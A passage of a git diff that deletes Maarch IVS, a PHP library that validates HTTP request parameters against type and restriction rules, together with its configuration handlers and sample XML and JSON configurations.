ValidationEngine(); - - self::$validationEngine->setConfigurationHandler($configurationType); - - self::$validationEngine->loadConfiguration($configuration); - - return true; - } - - /** - * Run the validation engine and return result - * @param string $errorMode The mode of error reporting - * - * @return bool - */ - public static function run($errorMode='silent') - { - self::$validationEngine->setErrorMode($errorMode); - - return self::$validationEngine->validate(); - } - - /** - * Get the validation engine errors - * - * @return array - */ - public static function debug() - { - return self::$validationEngine->getInfo(); - } - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/ValidationEngine.php b/apps/maarch_entreprise/tools/maarchIVS/ValidationEngine.php deleted file mode 100755 index 2885355fc0fd03ba439433c5cb6dc0545816f26c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/ValidationEngine.php +++ /dev/null @@ -1,598 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Maarch IVS - Input Validation Engine - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -class ValidationEngine -{ - /** - * The configuration handler - * @var object - */ - protected $configurationHandler; - - /** - * The error mode : log, error, exception - * @var string - */ - protected $errorMode = 'silent'; - - /** - * The current rule name - * @var string - */ - protected $currentRuleName; - - /** - * The current parameter - * @var string - */ - protected $currentParameterName; - - /** - * The current array item key - * @var mixed - */ - protected $currentItemKey; - - /** - * The current data type name - * @var string - */ - protected $currentDataTypeName; - - /** - * The current restriction facet - * @var string - */ - protected $currentRestrictionFacet; - - /** - * The current restriction value - * @var string - */ - protected $currentRestrictionValue; - - /** - * The validation rules - * @var array - */ - protected $validationRules; - - /** - * The data types - * @var array - */ - protected $dataTypes; - - /** - * The validation errors - * @var array - */ - protected $errors; - - /** - * The base types - * @var array - */ - public static $baseTypes = array( - // php types - 'string', - 'integer', - 'int', - 'float', - 'real', - 'double', - 'boolean', - 'bool', - 'email', - 'url', - 'ip', - - // php ctypes - 'alnum', - 'alpha', - //'cntrl', - 'digit', - 'graph', - 'lower', - 'print', - //'punct', - 'space', - 'upper', - //'xdigit', - - // Custom types - 'base64', - 'language', - 'name', - - 'array' - ); - - /** - * Set the configuration handler for the configuration source type - * @param string $configurationType The encoding of configuration - * - * @return void - **/ - public function setConfigurationHandler($configurationType) - { - switch (strtolower($configurationType)) { - case 'xml': - require_once ('handler' . DIRECTORY_SEPARATOR . 'XmlConfigurationHandler.php'); - $this->configurationHandler = new XmlConfigurationHandler(); - break; - - case 'json': - require_once ('handler' . DIRECTORY_SEPARATOR . 'JsonConfigurationHandler.php'); - $this->configurationHandler = new JsonConfigurationHandler(); - break; - - case 'php': - require_once ('handler' . DIRECTORY_SEPARATOR . 'PhpConfigurationHandler.php'); - $this->configurationHandler = new PhpConfigurationHandler(); - break; - } - - } - - /** - * Set the error mode - * @param string $errorMode An error mode - */ - public function setErrorMode($errorMode) - { - $this->errorMode = $errorMode; - } - - /** - * Set the configuration source - * @param mixed $configuration A MaarchIVS configuration source - * - * @return void - **/ - public function loadConfiguration($configuration) - { - if (!$this->configurationHandler->load($configuration)) { - $this->addError($this->configurationHandler->getError()); - - return false; - } - - return true; - } - - /** - * Validate a request - * - * @return void - **/ - public function validate() - { - $this->errors = array(); - - $method = $_SERVER['REQUEST_METHOD']; - $path = $_SERVER['SCRIPT_NAME']; - $parameters = $_GET; - $this->validationRules = $this->configurationHandler->getValidationRules($method, $path, $parameters); - - if (count($this->validationRules) == 0) { - $this->addError("No validation rule"); - } else { - foreach ($this->validationRules as $validationRule) { - $this->currentRuleName = $validationRule->name; - $this->validateRule($validationRule); - } - } - - return (count($this->errors) == 0); - } - - /** - * Get validation error messages - * - * @return array - **/ - public function getInfo() - { - return array( - - 'requestMethod' => $_SERVER['REQUEST_METHOD'], - 'requestPath' => $_SERVER['SCRIPT_NAME'], - 'requestParameters' => $_GET, - 'requestBody' => $_REQUEST, - 'validationErrors' => $this->errors, - 'validationRules' => $this->validationRules, - 'dataTypes' => $this->dataTypes, - ); - } - - /* - Non public methods - */ - protected function validateRule($validationRule) - { - foreach ($_REQUEST as $name => $value) { - $this->currentParameterName = $name; - $this->currentDataTypeName = null; - $this->currentItemKey = null; - $this->currentRestrictionFacet = null; - $this->currentRestrictionValue = null; - - if (empty($value)) { - continue; - } - - $currentValidationParameter = null; - foreach ($validationRule->parameters as $parameterName => $validationParameter) { - if ($name === $parameterName) { - $currentValidationParameter = $validationParameter; - break; - } - - if (fnmatch($parameterName, $name)) { - $currentValidationParameter = $validationParameter; - break; - } - } - - if (!isset($currentValidationParameter)) { - switch ($validationRule->mode) { - case 'lax': - break; - - case 'unset': - unset($_REQUEST[$name]); - break; - - case 'error': - $this->addError("Unexpected parameter"); - break; - } - - continue; - } - - $this->validateParameter($currentValidationParameter, $value); - } - } - - protected function validateParameter($validationParameter, $value) - { - $name = $validationParameter->name; - - // Check fixed value - if (isset($validationParameter->fixed) && $value != $validationParameter->fixed) { - $this->addError("Invalid fixed value"); - - return; - } - - // Check type - $type = $validationParameter->type; - - $this->currentDataTypeName = $type; - $this->currentItemKey = null; - - // Base type, check base + restrictions - if (in_array($type, self::$baseTypes)) { - // Validate base type - if ($this->validateBaseType($type, $value) === false) { - $this->addError("Invalid value for base type"); - } - } else { - // Validate type and base recursively - if (!$dataType = $this->configurationHandler->getDataType($type)) { - $this->addError("Undefined data type"); - - return; - } - - $this->validateDataType($dataType, $value); - } - - // Validate parameter inline restrictions - if (isset($validationParameter->restriction)) { - $this->validateRestriction($validationParameter->restriction, $value); - } - } - - protected function validateDataType($dataType, $value) - { - $this->currentDataTypeName = $dataType->base; - - // Add dataType to the list of loaded types for debug - if (!isset($this->dataTypes[$dataType->name])) { - $this->dataTypes[$dataType->name] = $dataType; - } - - // Base type, check base + restrictions - if (in_array($dataType->base, self::$baseTypes)) { - // Validate base type - if ($this->validateBaseType($dataType->base, $value) === false) { - $this->addError("Invalid value for base type"); - } - } else { - // Validate type and base recursively - if (!$baseDataType = $this->configurationHandler->getDataType($dataType->base)) { - $this->addError("Undefined data type"); - - return; - } - - $this->validateDataType($baseDataType, $value); - } - - $this->currentDataTypeName = $dataType->name; - - // Validate inline restrictions - if (isset($dataType->restriction)) { - $this->validateRestriction($dataType->restriction, $value); - } - } - - protected function validateBaseType($type, $value) - { - if (is_array($value)) { - foreach ($value as $key => $item) { - $this->currentItemKey = $key; - if ($this->validateBaseType($type, $item) === false) { - return false; - } - } - - return true; - } else { - switch($type) { - case 'string': - return true; - - case 'int': - case 'integer': - return filter_var($value, FILTER_VALIDATE_INT); - - case 'float': - case 'real': - case 'double': - return filter_var($value, FILTER_VALIDATE_FLOAT); - - case 'boolean': - case 'bool': - return !is_null(filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); - - case 'email': - return filter_var($value, FILTER_VALIDATE_EMAIL); - - case 'ip': - return filter_var($value, FILTER_VALIDATE_IP); - - case 'url': - return filter_var($value, FILTER_VALIDATE_URL); - - case 'alnum': - return ctype_alnum($value); - case 'alpha': - return ctype_alpha($value); - case 'digit': - return ctype_digit($value); - case 'graph': - return ctype_graph($value); - case 'lower': - return ctype_lower($value); - case 'print': - return ctype_print($value); - case 'space': - return ctype_space($value); - case 'upper': - return ctype_upper($value); - - case 'base64': - return preg_match('/^[A-Z_\-]+$/', $value); - case 'language': - return preg_match('/^[a-zA-Z]{1,8}(\-[a-zA-Z0-9]{1,8})*$/', $value); - case 'name': - return preg_match('/^[a-zA-Z_]+[a-zA-Z0-9_]*$/', $value); - - case 'array': - return is_array($value); - } - } - } - - protected function validateRestriction($restriction, $value) - { - if (is_array($value)) { - foreach ($value as $key => $item) { - $this->currentItemKey = $key; - $this->validateRestriction($restriction, $item); - } - } else { - // String validation - // Validate min length - if (isset($restriction->minLength) && strlen($value) < $restriction->minLength) { - $this->currentRestrictionFacet = 'minLength'; - $this->currentRestrictionValue = $restriction->minLength; - $this->addError("Length id below the minimal length"); - } - - // Validate max length - if (isset($restriction->maxLength) && strlen($value) > $restriction->maxLength) { - $this->currentRestrictionFacet = 'maxLength'; - $this->currentRestrictionValue = $restriction->maxLength; - $this->addError("Length exceeds the maximal length"); - } - - // Validate length - if (isset($restriction->length) && !$this->validateLength($restriction->length, $value)) { - $this->currentRestrictionFacet = 'length'; - $this->currentRestrictionValue = implode(', ', $restriction->length); - $this->addError("Length is not allowed"); - } - - // Validate enumeration - if (isset($restriction->enumeration) && !in_array($value, $restriction->enumeration)) { - $this->currentRestrictionFacet = 'enumeration'; - $this->currentRestrictionValue = implode(', ', $restriction->enumeration); - $this->addError("Value is not allowed"); - } - - // Validate pattern(s) - if (isset($restriction->pattern) && !$this->validatePattern($restriction->pattern, $value)) { - $this->currentRestrictionFacet = 'pattern'; - $this->currentRestrictionValue = implode(', ', $restriction->pattern); - $this->addError("Format is not allowed"); - } - - // Number validation - // Validate minExclusive - if (isset($restriction->minExclusive) && $value <= $restriction->minExclusive) { - $this->currentRestrictionFacet = 'minExclusive'; - $this->currentRestrictionValue = $restriction->minExclusive; - $this->addError("Value is below the minimal value"); - } - - // Validate minInclusive - if (isset($restriction->minInclusive) && $value < $restriction->minInclusive) { - $this->currentRestrictionFacet = 'minInclusive'; - $this->currentRestrictionValue = $restriction->minInclusive; - $this->addError("Value exceeds the maximal value"); - } - - // Validate maxExclusive - if (isset($restriction->maxExclusive) && $value >= $restriction->maxExclusive) { - $this->currentRestrictionFacet = 'maxExclusive'; - $this->currentRestrictionValue = $restriction->maxExclusive; - $this->addError("Value is below the minimal value"); - } - - // Validate maxInclusive - if (isset($restriction->maxInclusive) && $value > $restriction->maxInclusive) { - $this->currentRestrictionFacet = 'maxInclusive'; - $this->currentRestrictionValue = $restriction->maxInclusive; - $this->addError("Value exceeds the maximal value"); - } - - // Validate total digit positions - if (isset($restriction->totalDigit) && !$this->validateTotalDigit($restriction->totalDigit, $value)) { - $this->currentRestrictionFacet = 'totalDigit'; - $this->currentRestrictionValue = implode(', ', $restriction->totalDigit); - $this->addError("Too many digits"); - } - - // Validate fraction digit (decimal) - if (isset($restriction->fractionDigit) && !$this->validateFractionDigit($restriction->fractionDigit, $value)) { - $this->currentRestrictionFacet = 'fractionDigit'; - $this->currentRestrictionValue = implode(', ', $restriction->fractionDigit); - $this->addError("Too many decimal digits"); - } - } - } - - protected function validatePattern($patterns, $value) - { - foreach ($patterns as $pattern) { - if (preg_match($pattern, $value)) { - return true; - } - } - - return false; - } - - protected function validateLength($lengths, $value) - { - if (in_array(strlen($value), $length)) { - return true; - } - - return false; - } - - protected function validateTotalDigit($totalDigits, $value) - { - if (in_array(preg_match_all("/[0-9]/", $value), $totalDigits)) { - return true; - } - - return false; - } - - protected function validateFractionDigit($fractionDigits, $value) - { - if (in_array(strlen(substr(strrchr($value, ""), 1)), $fractionDigits)) { - return true; - } - - return false; - } - - protected function addError($message) - { - $error = new ValidationError(); - $error->message = $message; - - $error->rule = $this->currentRuleName; - $error->parameter = $this->currentParameterName; - $error->key = $this->currentItemKey; - $error->type = $this->currentDataTypeName; - $error->facet = array($this->currentRestrictionFacet, $this->currentRestrictionValue); - $error->value = $_REQUEST[$this->currentParameterName]; - - $this->errors[] = $error; - - $errmsg = $message; - if ($error->parameter) { - $errmsg .= ' for parameter ' . $error->parameter; - } - if ($error->key) { - $errmsg .= ' at key ' . $error->key; - } - if ($error->rule) { - $errmsg .= ', in rule ' . $error->rule; - } - if ($error->type) { - $errmsg .= ' for type ' . $error->type; - } - if ($error->facet) { - $errmsg .= ', facet ' . $error->facet[0]; - } - if ($error->facet[1]) { - $errmsg .= ' expected ' . implode(' or ', (array) $error->facet[1]); - } - - switch ($this->errorMode) { - case 'silent': - break; - - case 'error': - trigger_error($errmsg, E_USER_ERROR); - break; - - case 'exception': - throw new ValidationException($errmsg); - break; - } - } - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/ValidationError.php b/apps/maarch_entreprise/tools/maarchIVS/ValidationError.php deleted file mode 100755 index 3b332230e449f7dc45c6824c51e93415fb1d1205..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/ValidationError.php +++ /dev/null @@ -1,70 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Maarch IVS - Validation Error - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -class ValidationError -{ - /** - * Name of the rule - * @var string - */ - public $rule; - - /** - * The name of the parameter - * @var string - */ - public $parameter; - - /** - * The key of array parameter item - * @var mixed - */ - public $key; - - /** - * The name of the type - * @var string - */ - public $type; - - /** - * The name of the restriction facet and its value - * @var array - */ - public $facet; - - /** - * The value of the request parameter - * @var string - */ - public $value; - - /** - * The error message - * @var string - */ - public $message; - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/ValidationException.php b/apps/maarch_entreprise/tools/maarchIVS/ValidationException.php deleted file mode 100755 index 852409f585131a29b969d3f7960d062439ca011e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/ValidationException.php +++ /dev/null @@ -1,32 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Maarch IVS - Input Validation Exception - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -class ValidationException - extends Exception -{ - - - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/ValidationParameter.php b/apps/maarch_entreprise/tools/maarchIVS/ValidationParameter.php deleted file mode 100755 index 709164799596ceab164ceffe3f4470fb7caec2e6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/ValidationParameter.php +++ /dev/null @@ -1,69 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Maarch IVS - Validation Parameter - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -class ValidationParameter -{ - /** - * Name of the parameter - * @var string - */ - public $name; - - /** - * Fixed value - * @var mixed - */ - public $fixed; - - /** - * Type of the parameter - * @var string - */ - public $type; - - /** - * Restrictions on the type - * @var ValidationTypeRestriction - */ - public $restriction; - - /** - * Constructor - * @param string $name The name of the parameter - * @param string $type The type of data - * @param string $fixed A fixed value for the parameter - * - * @return void - */ - public function __construct($name, $type, $fixed=null) - { - $this->name = $name; - - $this->type = $type; - - $this->fixed = $fixed; - } - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/ValidationRule.php b/apps/maarch_entreprise/tools/maarchIVS/ValidationRule.php deleted file mode 100755 index 44574436305dae7ad387293ddb1053d0264f9438..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/ValidationRule.php +++ /dev/null @@ -1,89 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Maarch IVS - Validation Rule - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -class ValidationRule -{ - /** - * Name of the rule - * @var string - */ - public $name; - - /** - * Missing parameter behaviour - * @var string - */ - public $mode; - - /** - * Parameters - * @var array - */ - public $parameters; - - /** - * Constructor - * @param string $name The name of the rule - * @param string $mode The missing parameter behaviour - * - * @return void - **/ - public function __construct($name, $mode='error') - { - $this->name = $name; - - $this->mode = $mode; - } - - /** - * Add a parameter - * @param string $name The parameter name - * - * @return ValidationParameter - **/ - public function addParameter($name) - { - $parameter = new ValidationParameter($name); - - $this->parameters[$name] = $parameter; - - return $parameter; - } - - /** - * Extend a base validation rule - * @param ValidationRule $base - */ - public function extend($base) - { - foreach ($base->parameters as $name => $baseParameter) { - // New parameter added - if (!isset($this->parameters[$name])) { - $this->parameters[$name] = $baseParameter; - } - } - } - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/conf/conf.json b/apps/maarch_entreprise/tools/maarchIVS/conf/conf.json deleted file mode 100755 index 89893ea0a83c3861484f35d41037238fb0c06a0e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/conf/conf.json +++ /dev/null @@ -1,65 +0,0 @@ -{ - "requestDefinitions" : [ - { - "method" : "GET", - "path" : "/maarchIVS/example.php", - "validationRule" : "example", - "parameters" : [ - { - "name" : "param1" - } - ] - } - ], - "validationRules" : [ - { - "name" : "example", - "extends" : "baseExample", - "parameters" : [ - { - "name" : "param2", - "type" : "short_word" - }, - { - "name" : "param3", - "type" : "integer", - "restriction" : { - "totalDigit" : 3 - } - } - { - "name" : "param4", - "type" : "integer", - "restriction" : { - "totalDigit" : 3 - } - } - ] - }, - { - "name" : "baseExample", - "parameters" : [ - { - "name" : "param1", - "type" : "string" - } - ] - } - ], - "dataTypes" : [ - { - "name" : "short_word", - "base" : "word", - "restriction" : { - "pattern" : "/^\\w{1,5}$/" - } - }, - { - "name" : "word", - "base" : "string", - "restriction" : { - "pattern" : "/^\\w+$/" - } - } - ] -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/conf/conf.xml b/apps/maarch_entreprise/tools/maarchIVS/conf/conf.xml deleted file mode 100755 index 65e7c6138b60f663a9c432013188898007607d2b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/conf/conf.xml +++ /dev/null @@ -1,47 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" ?> -<inputValidation xmlns:xi="http://www.w3.org/2001/XInclude"> - - - <!-- - Request definitions - Used to identify the request and bind a validation rule set - --> - <requestDefinitions> - <requestDefinition method="GET" path="/maarchIVS/example.php" validationRule="example"> - <parameter name="param1" /> - </requestDefinition> - </requestDefinitions> - <!-- - Validation rule sets - Each gives a set of request parameters that can be checked - with a type name that refers to defined types or an inline definition - --> - <validationRules> - <validationRule name="example" extends="baseExample"> - <parameter name="param2" type="short_word" /> - <parameter name="param3" type="integer"> - <totalDigit value="3" /> - </parameter> - <parameter name="param4" type="arrayOfStrings" /> - </validationRule> - <validationRule name="baseExample" extends="includedExample"> - <parameter name="param1" type="string" /> - </validationRule> - - <xi:include href="includedRules.xml"/> - </validationRules> - <!-- - Validation rule sets - Each gives a set of request parameters that can be checked - with a type name that refers to defined types or an inline definition - --> - <dataTypes> - <dataType name="short_word" base="word"> - <pattern value="/^\w{1,5}$/" /> - </dataType> - <dataType name="word" base="string"> - <pattern value="/^\w+$/" /> - </dataType> - <dataType name="arrayOfStrings" base="name" /> - </dataTypes> -</inputValidation> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/conf/includedRules.xml b/apps/maarch_entreprise/tools/maarchIVS/conf/includedRules.xml deleted file mode 100755 index 819860f5642a07296ba250276e619df1d2d6ea2b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/conf/includedRules.xml +++ /dev/null @@ -1,3 +0,0 @@ -<validationRule name="includedExample" > - <parameter name="param5" type="integer" /> -</validationRule> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/example.php b/apps/maarch_entreprise/tools/maarchIVS/example.php deleted file mode 100755 index ce757df6f40edbc4cc134a04fab65688cad1b45a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/example.php +++ /dev/null @@ -1,16 +0,0 @@ -<?php - -$time = microtime(true); - -require_once 'MaarchIVS.php'; - -$started = MaarchIVS::start(__DIR__ . DIRECTORY_SEPARATOR . 'conf' . DIRECTORY_SEPARATOR . 'conf.xml', 'xml'); -$valid = MaarchIVS::run('silent'); - -if (!$valid) { - var_dump(MaarchIVS::debug()); -} else { - echo "Request is valid"; -} - -var_dump(microtime(true) - $time); diff --git a/apps/maarch_entreprise/tools/maarchIVS/handler/ConfigurationHandlerInterface.php b/apps/maarch_entreprise/tools/maarchIVS/handler/ConfigurationHandlerInterface.php deleted file mode 100755 index 6f5bd5f06b827f95fd219fd9a2e042eb561a886c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/handler/ConfigurationHandlerInterface.php +++ /dev/null @@ -1,62 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Interface for Maarch IVS configuration handlers - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -interface ConfigurationHandlerInterface -{ - - /** - * Load a configuration source - * @param mixed $configurationSource The source for configuration - * - * @return bool - */ - public function load($configurationSource); - - /** - * Get the list of validation rules to apply - * @param string $method The http method of request - * @param string $path The path of request - * @param array $parameters An associative array of request parameters - * - * @return array The validationRule objects to apply - */ - public function getValidationRules($method, $path, $parameters=array()); - - /** - * Get a validation rule - * @param string $name The name of the rule - * - * @return ValidationRule The validationRule objects to apply - */ - public function getValidationRule($name); - - /** - * Get a data type - * @param string $name The rule name - * - * @return object $dataType - */ - public function getDataType($name); -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/handler/JsonConfigurationHandler.php b/apps/maarch_entreprise/tools/maarchIVS/handler/JsonConfigurationHandler.php deleted file mode 100755 index 4d084bb0e5e7011ca2594d680fc146e0002a3b45..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/handler/JsonConfigurationHandler.php +++ /dev/null @@ -1,261 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Maarch IVS - Input Validation System - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -class JsonConfigurationHandler - implements ConfigurationHandlerInterface -{ - /** - * The request definitions - * @var array - */ - protected $requestDefinitions; - - /** - * The validation rules - * @var array - */ - protected $validationRules; - - /** - * The conf error - * @var string - */ - protected $error; - - /** - * Load a configuration source - * @param string $configurationSource The json source file for configuration - * - * @return bool - */ - public function load($configurationSource) - { - $configurationObject = json_decode(file_get_contents($configurationSource), false); - - if (!$configurationObject) { - switch (json_last_error()) { - case JSON_ERROR_NONE: - break; - case JSON_ERROR_DEPTH: - $this->error = 'The maximum stack depth has been exceeded'; - break; - case JSON_ERROR_STATE_MISMATCH: - $this->error = 'Invalid or malformed JSON'; - break; - case JSON_ERROR_CTRL_CHAR: - $this->error = 'Control character error, possibly incorrectly encoded'; - break; - case JSON_ERROR_SYNTAX: - $this->error = 'Syntax error'; - break; - case JSON_ERROR_UTF8: - $this->error = 'Malformed UTF-8 characters, possibly incorrectly encoded'; - break; - case JSON_ERROR_RECURSION: - $this->error = 'One or more recursive references detected in the value to be encoded'; - break; - case JSON_ERROR_INF_OR_NAN: - $this->error = 'One or more NAN or INF values in the value to be encoded'; - break; - case JSON_ERROR_UNSUPPORTED_TYPE: - $this->error = 'A value of a type that cannot be encoded was given'; - break; - default: - $this->error = 'Unknown error'; - } - - if ($this->error) { - return false; - } - } - - - - // Import request definitions - $this->requestDefinitions = $configurationObject->requestDefinitions; - - // Import validation rules with an associative index on "name" - foreach ($configurationObject->validationRules as $validationRule) { - $key = $validationRule->name; - $this->validationRules[$key] = $validationRule; - } - - // Import data types with an associative index on "name" - foreach ($configurationObject->dataTypes as $dataType) { - $key = $dataType->name; - $this->dataTypes[$key] = $dataType; - } - - return true; - } - - /** - * Find the validation rules - * @param string $method The http method of request - * @param string $path The path of request - * @param array $parameters An associative array of request parameters - * - * @return array $validationRule - */ - public function getValidationRules($method, $path, $parameters=array()) - { - $validationRules = array(); - - foreach ($this->requestDefinitions as $requestDefinition) { - // Missing validation rule name - if (!isset($requestDefinition->validationRule)) { - continue; - } - - // Wrong method - if (!in_array($method, explode('|', $requestDefinition->method))) { - continue; - } - - // Wrong path - if ($requestDefinition->path != $path) { - continue; - } - - // Check parameters - if (isset($requestDefinition->parameters) || !empty($requestDefinition->parameters)) { - foreach ($requestDefinition->parameters as $parameter) { - // Parameter not found - if (!array_key_exists($parameter->name, $parameters)) { - continue 2; - } - - // Wrong parameter value - if (isset($parameter->value) && $parameters[$parameter->name] != $parameter->value) { - continue 2; - } - } - } - - $validationRuleName = $requestDefinition->validationRule; - - if ($validationRule = $this->getValidationRule($validationRuleName)) { - $validationRules[] = $validationRule; - } - } - - return $validationRules; - } - - /** - * Get a data type - * @param string $name The rule name - * - * @return object $dataType - */ - public function getDataType($name) - { - if (!isset($this->dataTypes[$name])) { - return false; - } - - $jsonDataType = $this->dataTypes[$name]; - - $dataType = new DataType($jsonDataType->name, $jsonDataType->base); - - $dataType->restriction = $this->getRestriction($jsonDataType->restriction); - - return $dataType; - } - - /** - * Get the error - * - * @return string - */ - public function getError() - { - return $this->error; - } - - /** - * Find a validation rule - * @param string $name The validation rule name - * - * @return ValidationRule $validationRule - */ - public function getValidationRule($name) - { - // Missing validation rule definition - if (!isset($this->validationRules[$name])) { - return; - } - - // Get rule - $jsonValidationRule = $this->validationRules[$name]; - - $validationRule = new ValidationRule($name); - - if (isset($jsonValidationRule->mode)) { - $validationRule->mode = $jsonValidationRule->mode; - } - - foreach ($jsonValidationRule->parameters as $jsonParameter) { - $validationRule->parameters[$jsonParameter->name] = $this->getValidationParameter($jsonParameter); - } - - // Validation parameters extension - if (isset($jsonValidationRule->extends) && isset($this->validationRules[$jsonValidationRule->extends])) { - if ($baseValidationRule = $this->getValidationRule($jsonValidationRule->extends)) { - $validationRule->extend($baseValidationRule); - } - } - - return $validationRule; - } - - protected function getValidationParameter($jsonParameter) - { - $validationParameter = new ValidationParameter($jsonParameter->name, $jsonParameter->type); - - if (isset($jsonParameter->fixed)) { - $validationParameter->fixed = $jsonParameter->fixed; - } - - // If base type, use restrictions - if (in_array($jsonParameter->type, ValidationEngine::$baseTypes) && isset($jsonParameter->restriction)) { - $validationParameter->restriction = $this->getRestriction($jsonParameter->restriction); - } - - return $validationParameter; - } - - protected function getRestriction($jsonRestriction) - { - $dataTypeRestriction = new DataTypeRestriction(); - - foreach ($jsonRestriction as $name => $value) { - $dataTypeRestriction->addFacet($name, $value); - } - - return $dataTypeRestriction; - } - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/handler/XmlConfigurationHandler.php b/apps/maarch_entreprise/tools/maarchIVS/handler/XmlConfigurationHandler.php deleted file mode 100755 index f39ad3f7a3052d774a3faae0eef2374804481d36..0000000000000000000000000000000000000000 --- 